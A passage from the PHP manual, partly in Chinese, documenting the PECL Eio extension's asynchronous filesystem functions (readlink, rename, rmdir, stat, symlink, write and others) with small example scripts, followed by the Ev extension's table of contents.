    [1]=>
    string(8) "articles"
    [2]=>
    string(8) "incoming"
    [3]=>
    string(7) "innfeed"
    [4]=>
    string(8) "outgoing"
    [5]=>
    string(8) "overview"
    [6]=>
    string(3) "tmp"
  }
 ["dents"]=>
  array(7) {
   [0]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "archive"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393265)
    }
   [1]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "articles"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393266)
    }
   [2]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "incoming"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393267)
    }
   [3]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "innfeed"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393269)
    }
   [4]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "outgoing"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393270)
    }
   [5]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "overview"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393271)
    }
   [6]=>
    array(3)
    {
     ["name"]=>
      string(3)
      "tmp"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393272)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Read value of a symbolic link

  • ? eio_readdir
  • eio_realpath ?
  • PHP Manual
  • Eio 函数
  • Read value of a symbolic link

eio_readlink

(PECL eio >= 0.0.1dev)

eio_readlink — Read value of a symbolic link

说明

eio_readlink(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

参数

path

Source symbolic link path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_readlink() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_readlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && !is_link($data));
@unlink($data);

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

以上示例的输出类似于：

bool(true)
bool(true)
string(16) "/tmp/symlink.dat"

参见

  • eio_symlink() - Create a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Get the canonicalized absolute pathname

  • ? eio_readlink
  • eio_rename ?
  • PHP Manual
  • Eio 函数
  • Get the canonicalized absolute pathname

eio_realpath

(PECL eio >= 0.0.1dev)

eio_realpath — Get the canonicalized absolute pathname

说明

eio_realpath(
string $path,
int $pri,
callable $callback,
string $data = NULL
): resource

eio_realpath() returns the canonicalized absolute pathname in result argument of callback function.

参数

path

Short pathname

pri

callback

data

返回值

示例

Example #1 eio_realpath() example

<?php
var_dump(getcwd());

function my_realpath_allback($data, $result) {
var_dump($result);
}

eio_realpath("../", EIO_PRI_DEFAULT, "my_realpath_allback");
eio_event_loop();
?>

以上示例的输出类似于：

string(12) "/home/ruslan"
string(5) "/home"

User Contributed Notes

There are no user contributed notes for this page.


Change the name or location of a file

  • ? eio_realpath
  • eio_rmdir ?
  • PHP Manual
  • Eio 函数
  • Change the name or location of a file

eio_rename

(PECL eio >= 0.0.1dev)

eio_rename — Change the name or location of a file

说明

eio_rename(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_rename() renames or moves a file to new location.

参数

path

Source path

new_path

Target path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_rename() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_rename() example

<?php
$filename = dirname(__FILE__)."/eio-temp-file.dat";
touch($filename);
$new_filename = dirname(__FILE__)."/eio-temp-file-new.dat";

function my_rename_cb($data, $result) {
global $filename, $new_filename;

if ($result == 0 && !file_exists($filename) && file_exists($new_filename)) {
@unlink($new_filename);
echo "eio_rename_ok";
} else {
@unlink($filename);
}
}

eio_rename($filename, $new_filename, EIO_PRI_DEFAULT, "my_rename_cb", $filename);
eio_event_loop();
?>

以上示例的输出类似于：

eio_rename_ok

User Contributed Notes

There are no user contributed notes for this page.


Remove a directory

  • ? eio_rename
  • eio_seek ?
  • PHP Manual
  • Eio 函数
  • Remove a directory

eio_rmdir

(PECL eio >= 0.0.1dev)

eio_rmdir — Remove a directory

说明

eio_rmdir(
string $path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_rmdir() removes a directory.

参数

path

Directory path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_rmdir() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_rmdir() example

<?php
$temp_dirname = "eio-temp-dir";
mkdir($temp_dirname);

function my_rmdir_callback($data, $result) {
if ($result == 0 && !file_exists($data)) {
echo "eio_rmdir_ok";
} else if (file_exists($data)) {
rmdir($data);
}
}

eio_rmdir($temp_dirname, EIO_PRI_DEFAULT, "my_rmdir_callback", $temp_dirname);
eio_event_loop();
?>

以上示例的输出类似于：

eio_rmdir_ok

参见

  • eio_mkdir() - Create directory

User Contributed Notes

There are no user contributed notes for this page.


Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

  • ? eio_rmdir
  • eio_sendfile ?
  • PHP Manual
  • Eio 函数
  • Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

eio_seek

(PECL eio >= 0.5.0b)

eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

说明

eio_seek(
mixed $fd,
int $offset,
int $whence,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_seek() repositions the offset of the open file associated with stream, Socket resource, or file descriptor specified by fd to the argument offset according to the directive whence as follows:

  • EIO_SEEK_SET - Set position equal to offset bytes.
  • EIO_SEEK_CUR - Set position to current location plus offset.
  • EIO_SEEK_END - Set position to end-of-file plus offset.

参数

fd

Stream, Socket resource, or numeric file descriptor

offset

Starting point from which data is to be read.

length

Number of bytes to be read.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_seek() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Transfer data between file descriptors

  • ? eio_seek
  • eio_set_max_idle ?
  • PHP Manual
  • Eio 函数
  • Transfer data between file descriptors

eio_sendfile

(PECL eio >= 0.0.1dev)

eio_sendfile — Transfer data between file descriptors

说明

eio_sendfile(
mixed $out_fd,
mixed $in_fd,
int $offset,
int $length,
int $pri = ?,
callable $callback = ?,
string $data = ?
): resource

eio_sendfile() copies data between one file descriptor and another. See SENDFILE(2) man page for details.

参数

out_fd

Output stream, Socket resource, or file descriptor. Should be opened for writing.

in_fd

Input stream, Socket resource, or file descriptor. Should be opened for reading.

offset

Offset within the source file.

length

Number of bytes to copy.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_sendfile() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Set maximum number of idle threads

  • ? eio_sendfile
  • eio_set_max_parallel ?
  • PHP Manual
  • Eio 函数
  • Set maximum number of idle threads

eio_set_max_idle

(PECL eio >= 0.0.1dev)

eio_set_max_idle — Set maximum number of idle threads

说明

eio_set_max_idle(int $nthreads): void

参数

nthreads

Number of idle threads.

返回值

没有返回值。

参见

  • eio_nthreads() - Returns number of threads currently in use
  • eio_set_min_parallel() - Set minimum parallel thread number
  • eio_set_max_parallel() - Set maximum parallel threads

User Contributed Notes

There are no user contributed notes for this page.


Set maximum parallel threads

  • ? eio_set_max_idle
  • eio_set_max_poll_reqs ?
  • PHP Manual
  • Eio 函数
  • Set maximum parallel threads

eio_set_max_parallel

(PECL eio >= 0.0.1dev)

eio_set_max_parallel — Set maximum parallel threads

说明

eio_set_max_parallel(int $nthreads): void

参数

nthreads

Number of parallel threads

返回值

没有返回值。

参见

  • eio_nthreads() - Returns number of threads currently in use
  • eio_set_max_idle() - Set maximum number of idle threads
  • eio_set_min_parallel() - Set minimum parallel thread number

User Contributed Notes

There are no user contributed notes for this page.


Set maximum number of requests processed in a poll

  • ? eio_set_max_parallel
  • eio_set_max_poll_time ?
  • PHP Manual
  • Eio 函数
  • Set maximum number of requests processed in a poll

eio_set_max_poll_reqs

(PECL eio >= 0.0.1dev)

eio_set_max_poll_reqs — Set maximum number of requests processed in a poll

说明

eio_set_max_poll_reqs(int $nreqs): void

参数

nreqs

Number of requests

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set maximum poll time

  • ? eio_set_max_poll_reqs
  • eio_set_min_parallel ?
  • PHP Manual
  • Eio 函数
  • Set maximum poll time

eio_set_max_poll_time

(PECL eio >= 0.0.1dev)

eio_set_max_poll_time — Set maximum poll time

说明

eio_set_max_poll_time(float $nseconds): void

Polling stops, if poll took longer than nseconds seconds.

参数

nseconds

Number of seconds

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set minimum parallel thread number

  • ? eio_set_max_poll_time
  • eio_stat ?
  • PHP Manual
  • Eio 函数
  • Set minimum parallel thread number

eio_set_min_parallel

(PECL eio >= 0.0.1dev)

eio_set_min_parallel — Set minimum parallel thread number

说明

eio_set_min_parallel(string $nthreads): void

参数

nthreads

Number of parallel threads.

返回值

没有返回值。

参见

  • eio_nthreads() - Returns number of threads currently in use
  • eio_set_max_idle() - Set maximum number of idle threads
  • eio_set_max_parallel() - Set maximum parallel threads

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • ? eio_set_min_parallel
  • eio_statvfs ?
  • PHP Manual
  • Eio 函数
  • Get file status

eio_stat

(PECL eio >= 0.0.1dev)

eio_stat — Get file status

说明

eio_stat(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_stat() returns file status information in result argument of callback

参数

path

The file path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_stat() returns request resource on success or false on error. On success assigns result argument of callback to an array.

示例

Example #1 eio_stat() example

<?php
$tmp_filename = "eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

function my_open_cb($data, $result) {
eio_close($result);
eio_event_loop();

@unlink($data);
}

eio_stat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_stat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

string(8) "eio_stat"
array(12) {
  ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489173)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318250380)
  ["st_mtime"]=>
  int(1318250380)
  ["st_ctime"]=>
  int(1318250380)
}

参见

  • eio_lstat() - Get file status
  • eio_fstat() - Get file status

User Contributed Notes

There are no user contributed notes for this page.


Get file system statistics

  • ? eio_stat
  • eio_symlink ?
  • PHP Manual
  • Eio 函数
  • Get file system statistics

eio_statvfs

(PECL eio >= 0.0.1dev)

eio_statvfs — Get file system statistics

说明

eio_statvfs(
string $path,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_statvfs() returns file system statistics information in result argument of callback

参数

path

Pathname of any file within the mounted file system

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_statvfs() returns request resource on success, 或者在失败时返回 false. On success assigns result argument of callback to an array.

示例

Example #1 eio_statvfs() example

<?php
$tmp_filename = '/tmp/eio-file.tmp';
touch($tmp_filename);

function my_statvfs_callback($data, $result) {
var_dump($data);
var_dump($result);

@unlink($data);
}

eio_statvfs($tmp_filename, EIO_PRI_DEFAULT, "my_statvfs_callback", $tmp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

string(17) "/tmp/eio-file.tmp"
array(11) {
  ["f_bsize"]=>
  int(4096)
  ["f_frsize"]=>
  int(4096)
  ["f_blocks"]=>
  int(262144)
  ["f_bfree"]=>
  int(262111)
  ["f_bavail"]=>
  int(262111)
  ["f_files"]=>
  int(1540815)
  ["f_ffree"]=>
  int(1540743)
  ["f_favail"]=>
  int(1540743)
  ["f_fsid"]=>
  int(0)
  ["f_flag"]=>
  int(4102)
  ["f_namemax"]=>
  int(255)
}

User Contributed Notes

There are no user contributed notes for this page.


Create a symbolic link

  • ? eio_statvfs
  • eio_sync_file_range ?
  • PHP Manual
  • Eio 函数
  • Create a symbolic link

eio_symlink

(PECL eio >= 0.0.1dev)

eio_symlink — Create a symbolic link

说明

eio_symlink(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_symlink() creates a symbolic link new_path to path.

参数

path

Source path

new_path

Target path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_symlink() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_symlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
eio_event_loop();
?>

以上示例的输出类似于：

bool(true)
string(16) "/tmp/symlink.dat"

参见

  • eio_link() - Create a hardlink for file

User Contributed Notes

There are no user contributed notes for this page.


Sync a file segment with disk

  • ? eio_symlink
  • eio_sync ?
  • PHP Manual
  • Eio 函数
  • Sync a file segment with disk

eio_sync_file_range

(PECL eio >= 0.0.1dev)

eio_sync_file_range — Sync a file segment with disk

说明

eio_sync_file_range(
mixed $fd,
int $offset,
int $nbytes,
int $flags,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_sync_file_range() permits fine control when synchronizing the open file referred to by the file descriptor fd with disk.

参数

fd

File descriptor

offset

The starting byte of the file range to be synchronized

nbytes

Specifies the length of the range to be synchronized, in bytes. If nbytes is zero, then all bytes from offset through to the end of file are synchronized.

flags

A bit-mask. Can include any of the following values: EIO_SYNC_FILE_RANGE_WAIT_BEFORE, EIO_SYNC_FILE_RANGE_WRITE, EIO_SYNC_FILE_RANGE_WAIT_AFTER. These flags have the same meaning as their SYNC_FILE_RANGE_* counterparts(see SYNC_FILE_RANGE(2) man page).

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_sync_file_range() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Commit buffer cache to disk

  • ? eio_sync_file_range
  • eio_syncfs ?
  • PHP Manual
  • Eio 函数
  • Commit buffer cache to disk

eio_sync

(PECL eio >= 0.0.1dev)

eio_sync — Commit buffer cache to disk

说明

eio_sync(int $pri = EIO_PRI_DEFAULT, callable $callback = NULL, mixed $data = NULL): resource

参数

此函数没有参数。

返回值

eio_sync() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Calls Linux' syncfs syscall, if available

  • ? eio_sync
  • eio_truncate ?
  • PHP Manual
  • Eio 函数
  • Calls Linux' syncfs syscall, if available

eio_syncfs

(PECL eio >= 0.0.1dev)

eio_syncfs — Calls Linux' syncfs syscall, if available

说明

eio_syncfs(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

参数

fd

File descriptor

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_syncfs() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Truncate a file

  • ? eio_syncfs
  • eio_unlink ?
  • PHP Manual
  • Eio 函数
  • Truncate a file

eio_truncate

(PECL eio >= 0.0.1dev)

eio_truncate — Truncate a file

说明

eio_truncate(
string $path,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_truncate() causes the regular file named by path to be truncated to a size of precisely length bytes

参数

path

File path

offset

Offset from beginning of the file.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_busy() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_ftruncate() - Truncate a file

User Contributed Notes

There are no user contributed notes for this page.


Delete a name and possibly the file it refers to

  • ? eio_truncate
  • eio_utime ?
  • PHP Manual
  • Eio 函数
  • Delete a name and possibly the file it refers to

eio_unlink

(PECL eio >= 0.0.1dev)

eio_unlink — Delete a name and possibly the file it refers to

说明

eio_unlink(
string $path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_unlink() deletes a name from the file system.

参数

path

Path to file

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_unlink() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Change file last access and modification times

  • ? eio_unlink
  • eio_write ?
  • PHP Manual
  • Eio 函数
  • Change file last access and modification times

eio_utime

(PECL eio >= 0.0.1dev)

eio_utime — Change file last access and modification times

说明

eio_utime(
string $path,
float $atime,
float $mtime,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

参数

path

Path to the file.

atime

Access time

mtime

Modification time

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_utime() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_futime() - Change file last access and modification times

User Contributed Notes

There are no user contributed notes for this page.


Write to file

  • ? eio_utime
  • Ev ?
  • PHP Manual
  • Eio 函数
  • Write to file

eio_write

(PECL eio >= 0.0.1dev)

eio_write — Write to file

说明

eio_write(
mixed $fd,
string $str,
int $length = 0,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_write() writes up to length bytes from str at offset offset from the beginning of the file.

参数

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open()

str

Source string

length

Maximum number of bytes to write.

offset

Offset from the beginning of file.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_write() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_open() - Opens a file

User Contributed Notes

There are no user contributed notes for this page.


Ev

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Watchers
  • Watcher callbacks
  • Periodic watcher operation modes
  • Ev — The Ev class
    • Ev::backend — Returns an integer describing the backend used by libev
    • Ev::depth — Returns recursion depth
    • Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops
    • Ev::feedSignal — Feed a signal event info Ev
    • Ev::feedSignalEvent — Feed signal event into the default loop
    • Ev::iteration — Return the number of times the default event loop has polled for new events
    • Ev::now — Returns the time when the last iteration of the default event loop has started
    • Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress
    • Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform
    • Ev::resume — Resume previously suspended default event loop
    • Ev::run — Begin checking for events and calling callbacks for the default loop
    • Ev::sleep — Block the process for the given number of seconds
    • Ev::stop — Stops the default event loop
    • Ev::supportedBackends — Returns the set of backends supported by current libev configuration
    • Ev::suspend — Suspend the default event loop
    • Ev::time — Returns the current time in fractional seconds since the epoch
    • Ev::verify — Performs internal consistency checks(for debugging)
  • EvCheck — The EvCheck class
    • EvCheck::__construct — Constructs the EvCheck watcher object
    • EvCheck::createStopped — Create instance of a stopped EvCheck watcher
  • EvChild — The EvChild class
    • EvChild::__construct — Constructs the EvChild watcher object
    • EvChild::createStopped — Create instance of a stopped EvCheck watcher
    • EvChild::set — Configures the watcher
  • EvEmbed — The EvEmbed class
    • EvEmbed::__construct — Constructs the EvEmbed object
    • EvEmbed::createStopped — Create stopped EvEmbed watcher object
    • EvEmbed::set — Configures the watcher
    • EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop
  • EvFork — The EvFork class
    • EvFork::__construct — Constructs the EvFork watcher object
    • EvFork::createStopped — Creates a stopped instance of EvFork watcher class
  • EvIdle — The EvIdle class
    • EvIdle::__construct — Constructs the EvIdle watcher object
    • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object
  • EvIo — The EvIo class
    • EvIo::__construct — Constructs EvIo watcher object
    • EvIo::createStopped — Create stopped EvIo watcher object
    • EvIo::set — Configures the watcher
  • EvLoop — The EvLoop class
    • EvLoop::backend — Returns an integer describing the backend used by libev
    • EvLoop::check — Creates EvCheck object associated with the current event loop instance
    • EvLoop::child — Creates EvChild object associated with the current event loop
    • EvLoop::__construct — Constructs the event loop object
    • EvLoop::defaultLoop — Returns or creates the default event loop
    • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object
    • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
    • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
    • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
    • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
    • EvLoop::loopFork — Must be called after a fork
    • EvLoop::now — Returns the current "event loop time"
    • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress
    • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
    • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
    • EvLoop::resume — Resume previously suspended default event loop
    • EvLoop::run — Begin checking for events and calling callbacks for the loop
    • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
    • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
    • EvLoop::stop — Stops the event loop
    • EvLoop::suspend — Suspend the loop
    • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
    • EvLoop::verify — Performs internal consistency checks(for debugging)
  • EvPeriodic — The EvPeriodic class
    • EvPeriodic::again — Simply stops and restarts the periodic watcher again
    • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
    • EvPeriodic::__construct — Constructs EvPeriodic watcher object
    • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
    • EvPeriodic::set — Configures the watcher
  • EvPrepare — The EvPrepare class
    • EvPrepare::__construct — Constructs EvPrepare watcher object
    • EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher
  • EvSignal — The EvSignal class
    • EvSignal::__construct — Constructs EvSignal watcher object
    • EvSignal::createStopped — Create stopped EvSignal watcher object
    • EvSignal::set — Configures the watcher
  • EvStat — The EvStat class
    • EvStat::attr — Returns the values most recently detected by Ev
    • EvStat::__construct — Constructs EvStat watcher object
    • EvStat::createStopped — Create a stopped EvStat watcher object
    • EvStat::prev — Returns the previous set of values returned by EvStat::attr
    • EvStat::set — Configures the watcher
    • EvStat::stat — Initiates the stat call
  • EvTimer — The EvTimer class
    • EvTimer::again — Restarts the timer watcher
    • EvTimer::__construct — Constructs an EvTimer watcher object
    • EvTimer::createStopped — Creates EvTimer stopped watcher object
    • EvTimer::set — Configures the watcher
  • EvWatcher — The EvWatcher class
    • EvWatcher::clear — Clear watcher pending status
    • EvWatcher::__construct — Abstract constructor of a watcher object
    • EvWatcher::feed — Feeds the given revents set into the event loop
    • EvWatcher::getLoop — Returns the loop responsible for the watcher
    • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
    • EvWatcher::keepalive — Configures whether to keep the loop from returning
    • EvWatcher::setCallback — Sets new callback for the watcher
    • EvWatcher::start — Starts the watcher
    • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension provides interface to » libev library - a high performance full-featured event loop written in C.

Note: 此扩展在 Windows 平台上不可用。

